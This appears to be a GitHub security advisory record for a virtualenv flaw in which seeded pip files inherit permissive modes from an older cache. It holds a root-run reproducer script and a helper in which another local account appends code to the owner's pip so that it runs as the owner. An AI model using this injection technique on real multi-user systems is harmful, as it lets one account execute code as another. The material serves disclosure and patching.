{"schema_version":"1.9.0","id":"GHSA-fc2g-4w5p-6whm","published":"2026-10-23T22:23:11Z","modified":"2026-10-23T22:30:04.127331967Z","aliases":["CVE-2026-113720"],"summary":"virtualenv: Seeded files retain permissions from an older cache","details":"## Summary\n\nThe app-data copy seeder uses shutil.copy, which preserves cached file modes independently of the current umask. A cache\npopulated under permissive permissions can therefore produce files with wider access in later environments.\n\nAnthropic's OSS Scanner reported this as `ANT-2026-487MH6OW` in `virtualenv-20261015-005`, received on 15 October 2026.\n\n## Affected area\n\nPermissions of files copied from app-data into a new environment.\n\n## Attacker-controlled input\n\nThe cache must contain files created with broader permissions than the current environment creator intends. Another\naccount must also be able to traverse the new environment and reach those files. A private parent directory prevents\nthat access. No control of a private live cache is assumed.\n\n## Affected code\n\nThe relevant 21.14.8 source is in\n[copy helpers](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/util/path/_sync.py).\n\n## Mechanism\n\nThe default app-data seeder extracts a wheel into a reusable cache and copies its files into later environments with\n`shutil.copy()`. That function applies the cached source mode to each destination file after creating it, overriding the\ncurrent run's umask. If the cache image was built under umask `000`, a later environment created under umask `022` can\nreceive mode-`0666` pip files. The cache may be private while the new environment is reachable by other local accounts.\n\n## Reproduction and evidence\n\nThe scanner created two histories with separate private app-data caches. In the control, the owner's first run used\numask `022`; a later environment had no files writable by another account, and that account could not append to\n`pip/__init__.py`. In the attack history, the first run used umask `000` and the later run still used `022`. The report\ncounted 478 of 493 environment files writable by others. A second unprivileged uid appended a line to pip, and\n`bin/pip --version` ran it as the environment owner. The cache itself remained under a mode-`0700` home in both\nhistories.\n\nAn attacker cannot force the owner's earlier umask through this finding; the attack also needs a traversable\ndestination. A mode-`002` cache can expose group write access under suitable group permissions. The scanner dates\napp-data copy seeding to #1578, first released in 20.0.2. [PR #3425](https://github.com/pypa/virtualenv/pull/3425)\ncreates copied files under a fixed non-writable-by-others policy further restricted by the current umask.\n\n## Attack sequence\n\n```mermaid\nsequenceDiagram\n    participant U as Environment owner\n    participant C as Private app-data cache\n    participant E as Later environment\n    participant A as Other local account\n    U->>C: first seed extraction under umask 000\n    C-->>U: cached pip files have mode 0666\n    U->>E: create environment under umask 022\n    C->>E: shutil.copy reapplies mode 0666\n    A->>E: append code to pip/__init__.py\n    U->>E: run bin/pip --version\n    E-->>U: appended code runs as owner\n```\n\n## Reproducer files\n\nThe following files are from the scanner report for `ANT-2026-487MH6OW`. They were tested against commit `a857a7823c73`\nin the scanner image. The `repro` entrypoint expects companion files under `/tmp/repro.d`; cases that change user IDs\nneed a disposable root-capable container. The last output line is `BUG` when the reported behavior occurs. These files\nare included as evidence and were not rerun for this advisory update.\n\n**`repro`**\n\n```text\n#!/usr/bin/env python3\nimport glob\nimport os\nimport shutil\nimport stat\nimport subprocess\nimport sys\nfrom pathlib import Path\n\nsys.stdout.reconfigure(line_buffering=True)  # keep these lines in order with those of the child processes\nos.umask(0o022)  # for the directories made here as root\nOWNER, OTHER_USER = 1000, 65534  # root is only needed to switch to these two unprivileged uids\nVIRTUALENV = [\"virtualenv\", \"--quiet\", \"--no-periodic-update\"]  # default seeder; no network for the update check\n# read here, as root: /tmp/repro.d need not be readable by the other user\nATTACK = Path(\"/tmp/repro.d/other_user_appends_to_pip.py\").read_text()\n\n\ndef run_as_owner(command, home, umask):\n    environ = {\"HOME\": str(home), \"PATH\": os.environ[\"PATH\"]}\n    subprocess.run(command, user=OWNER, group=OWNER, extra_groups=[], umask=umask, env=environ, cwd=home, check=True)\n\n\ndef mode(path):\n    return stat.filemode(os.stat(path).st_mode)\n\n\nwork = Path(\"/tmp/seed-mode-repro\")\nshutil.rmtree(work, ignore_errors=True)\nwork.mkdir()\nproofs = work / \"proofs\"\nproofs.mkdir()\nproofs.chmod(0o777)  # the other user's line writes the uid it runs as in here\n\nwritable_by_others, appended_line_ran_as = {}, {}\n# the two histories differ only in the umask of the owner's earlier run, the one that fills ~/.cache/virtualenv\nfor case, umask_of_earlier_run in [(\"CONTROL\", 0o022), (\"OBSERVED\", 0o000)]:\n    # set up: the owner's home, and with it the cache, is private; the project folder is reachable by path\n    home = work / f\"{case}-home\"\n    home.mkdir(mode=0o700)\n    os.chown(home, OWNER, OWNER)\n    projects = work / f\"{case}-projects\"\n    projects.mkdir(mode=0o755)\n    os.chown(projects, OWNER, OWNER)\n\n    # owner, some time ago: the first run, with an empty cache, extracts the pip wheel into it\n    run_as_owner([*VIRTUALENV, str(home / \"earlier-env\")], home, umask=umask_of_earlier_run)\n    # owner, today\n    env = projects / \"env\"\n    run_as_owner([*VIRTUALENV, str(env)], home, umask=0o022)\n\n    (cached_pip,) = glob.glob(f\"{home}/.cache/virtualenv/wheel/*/image/1/CopyPipInstall/pip-*/pip/__init__.py\")\n    (seeded_pip,) = glob.glob(f\"{env}/lib/python*/site-packages/pip/__init__.py\")\n    env_files = [path for path in env.rglob(\"*\") if path.is_file() and not path.is_symlink()]\n    writable_by_others[case] = sum(1 for path in env_files if path.stat().st_mode & stat.S_IWOTH)\n    print(f\"{case} earlier run under umask {umask_of_earlier_run:03o}, env created under umask 022\")\n    print(f\"{case}   cache pip/__init__.py  {mode(cached_pip)}\")\n    print(f\"{case}   env   pyvenv.cfg       {mode(env / 'pyvenv.cfg')}\")\n    print(f\"{case}   env   bin/activate     {mode(env / 'bin' / 'activate')}\")\n    print(f\"{case}   env   pip/__init__.py  {mode(seeded_pip)}\")\n    print(f\"{case}   env files writable by others: {writable_by_others[case]} of {len(env_files)}\")\n\n    # attack: another local user appends a line to the owner's seeded pip\n    proof = proofs / case\n    subprocess.run(\n        [\"python3\", \"-\", str(env), str(proof)],\n        input=ATTACK,\n        text=True,\n        user=OTHER_USER,\n        group=OTHER_USER,\n        extra_groups=[],\n        env={\"PATH\": os.environ[\"PATH\"]},\n        cwd=\"/\",\n        check=True,\n    )\n\n    # the owner uses the environment\n    run_as_owner([str(env / \"bin\" / \"pip\"), \"--version\"], home, umask=0o022)\n    appended_line_ran_as[case] = proof.read_text() if proof.exists() else None\n    print(f\"{case}   other user's line ran as uid: {appended_line_ran_as[case]}\")\n\n# check: the same umask 022 today must give the same modes, whatever umask filled the cache earlier\ncontrol_is_private = writable_by_others[\"CONTROL\"] == 0 and appended_line_ran_as[\"CONTROL\"] is None\nobserved_runs_as_owner = writable_by_others[\"OBSERVED\"] > 0 and appended_line_ran_as[\"OBSERVED\"] == str(OWNER)\nprint(\"BUG\" if control_is_private and observed_runs_as_owner else \"OK\")\n```\n\n**`repro.d/other_user_appends_to_pip.py`**\n\n```text\nimport glob\nimport sys\n\nenvironment, proof = sys.argv[1:]\n(pip_init,) = glob.glob(f\"{environment}/lib/python*/site-packages/pip/__init__.py\")\nadded_line = f\"\\nimport os; open({proof!r}, 'w').write(str(os.getuid()))\\n\"\n\ntry:\n    with open(pip_init, \"a\") as pip_source:\n        pip_source.write(added_line)\n    print(f\"other user: appended a line to {pip_init}\")\nexcept PermissionError as error:\n    print(f\"other user: {error}\")\n```\n\n## Impact\n\nCopied seed files can remain readable or writable by other accounts despite the current umask. Exposure requires those\naccounts to be able to traverse the destination's parent directories. An attacker need not control the private source\ncache.\n\nSeverity: low.\n\n## Versions tested\n\nThe confirmed release is 21.14.8. The affected range records that release only; it does not establish the first affected\nversion or exclude earlier releases. Fixed in 21.14.9.\n\nThe fix creates destination files with mode `0644`, or `0755` for executable sources, filtered further by the\ncurrent umask. It does not grant group or world write access, even with a permissive umask. Source modes are not\npreserved, including modes more restrictive than this creation policy.\n\nFix: [PR #3425](https://github.com/pypa/virtualenv/pull/3425).\n\n## Known mitigation\n\nCreate environments beneath a directory accessible only to their owner. Recreate environments whose permissions were\ninherited from a permissive cache.\n\n## Affected release\n\n- [x] The problem reproduces on virtualenv 21.14.8.\n\n## Credits\n\nReported by Anthropic's OSS Scanner as ANT-2026-487MH6OW.","affected":[{"package":{"name":"virtualenv","ecosystem":"PyPI","purl":"pkg:pypi/virtualenv"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"21.14.9"}]}],"versions":["0.8","0.8.1","0.8.2","0.8.3","0.8.4","0.9","0.9.1","0.9.2","1.0","1.1","1.10","1.10.1","1.11","1.11.1","1.11.2","1.11.3","1.11.4","1.11.5","1.11.6","1.2","1.3","1.3.1","1.3.2","1.3.3","1.3.4","1.4","1.4.1","1.4.2","1.4.3","1.4.4","1.4.5","1.4.6","1.4.7","1.4.8","1.4.9","1.4rc1","1.5","1.5.1","1.5.2","1.6","1.6.1","1.6.2","1.6.3","1.6.4","1.7","1.7.1","1.7.1.1","1.7.1.2","1.7.2","1.8","1.8.1","1.8.2","1.8.3","1.8.4","1.9","1.9.1","12.0","12.0.1","12.0.2","12.0.4","12.0.5","12.0.6","12.0.7","12.1.0","12.1.1","13.0.0","13.0.1","13.0.2","13.0.3","13.1.0","13.1.1","13.1.2","14.0.0","14.0.1","14.0.2","14.0.3","14.0.4","14.0.5","14.0.6","15.0.0","15.0.1","15.0.2","15.0.3","15.1.0","15.2.0","16.0.0","16.1.0","16.2.0","16.3.0","16.3.1.dev0","16.4.0","16.4.1","16.4.3","16.4.4.dev0","16.5.0","16.6.0","16.6.1","16.6.2","16.7.0","16.7.1","16.7.10","16.7.11","16.7.12","16.7.2","16.7.3","16.7.4","16.7.5","16.7.6","16.7.7","16.7.8","16.7.9","20.0.0","20.0.0b1","20.0.0b2","20.0.1","20.0.10","20.0.11","20.0.12","20.0.13","20.0.14","20.0.15","20.0.16","20.0.17","20.0.18","20.0.19","20.0.2","20.0.20","20.0.21","20.0.22","20.0.23","20.0.24","20.0.25","20.0.26","20.0.27","20.0.28","20.0.29","20.0.3","20.0.30","20.0.31","20.0.32","20.0.33","20.0.34","20.0.35","20.0.4","20.0.5","20.0.6","20.0.7","20.0.8","20.0.9","20.1.0","20.10.0","20.11.0","20.11.1","20.11.2","20.12.0","20.12.1","20.13.0","20.13.1","20.13.2","20.13.3","20.13.4","20.14.0","20.14.1","20.15.0","20.15.1","20.16.0","20.16.1","20.16.2","20.16.3","20.16.4","20.16.5","20.16.6","20.16.7","20.17.0","20.17.1","20.18.0","20.19.0","20.2.0","20.2.1","20.2.2","20.20.0","20.21.0","20.21.1","20.22.0","20.23.0","20.23.1","20.24.0","20.24.1","20.24.2","20.24.3","20.24.4","20.24.5","20.24.6","20.24.7","20.25.0","20.25.1","20.25.2","20.25.3","20.26.0","20.26.1","20.26.2","20.26.3","20.26.4","20.26.5","20.26.6","20.27.0","20.27.1","20.28.0","20.28.1","20.29.0","20.29.1","20.29.2","20.29.3","20.3.0","20.3.1","20.30.0","20.31.0","20.31.1","20.31.2","20.32.0","20.33.0","20.33.1","20.34.0","20.35.0","20.35.1","20.35.2","20.35.3","20.35.4","20.36.0","20.36.1","20.38.0","20.39.0","20.39.1","20.4.0","20.4.1","20.4.2","20.4.3","20.4.4","20.4.5","20.4.6","20.4.7","20.5.0","20.6.0","20.7.0","20.7.1","20.7.2","20.8.0","20.8.1","20.9.0","21.0.0","21.1.0","21.10.0","21.11.0","21.11.1","21.12.0","21.12.1","21.13.0","21.14.0","21.14.1","21.14.2","21.14.3","21.14.4","21.14.5","21.14.6","21.14.7","21.14.8","21.2.0","21.2.1","21.2.2","21.2.3","21.2.4","21.3.0","21.3.1","21.3.2","21.3.3","21.4.0","21.4.1","21.4.2","21.4.3","21.5.0","21.5.1","21.5.2","21.6.0","21.6.1","21.7.0","21.7.1","21.7.10","21.7.11","21.7.12","21.7.13","21.7.14","21.7.15","21.7.16","21.7.2","21.7.3","21.7.4","21.7.5","21.7.6","21.7.7","21.7.8","21.7.9","21.8.1","21.9.0","21.9.1"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/10/GHSA-fc2g-4w5p-6whm/GHSA-fc2g-4w5p-6whm.json"}}],"references":[{"type":"WEB","url":"https://github.com/pypa/virtualenv/security/advisories/GHSA-fc2g-4w5p-6whm"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113720"},{"type":"WEB","url":"https://github.com/pypa/virtualenv/pull/3425"},{"type":"WEB","url":"https://github.com/pypa/virtualenv/commit/35f0b33562790176dd186d0a3c517af3acc7a0e1"},{"type":"PACKAGE","url":"https://github.com/pypa/virtualenv"},{"type":"WEB","url":"https://github.com/pypa/virtualenv/releases/tag/21.14.9"}],"database_specific":{"cwe_ids":["CWE-732"],"github_reviewed":true,"github_reviewed_at":"2026-10-23T22:23:11Z","nvd_published_at":"2026-10-20T20:17:18Z","severity":"MODERATE"},"severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:L/AC:H/AT:P/PR:L/UI:P/VC:L/VI:H/VA:L/SC:N/SI:N/SA:N"}]}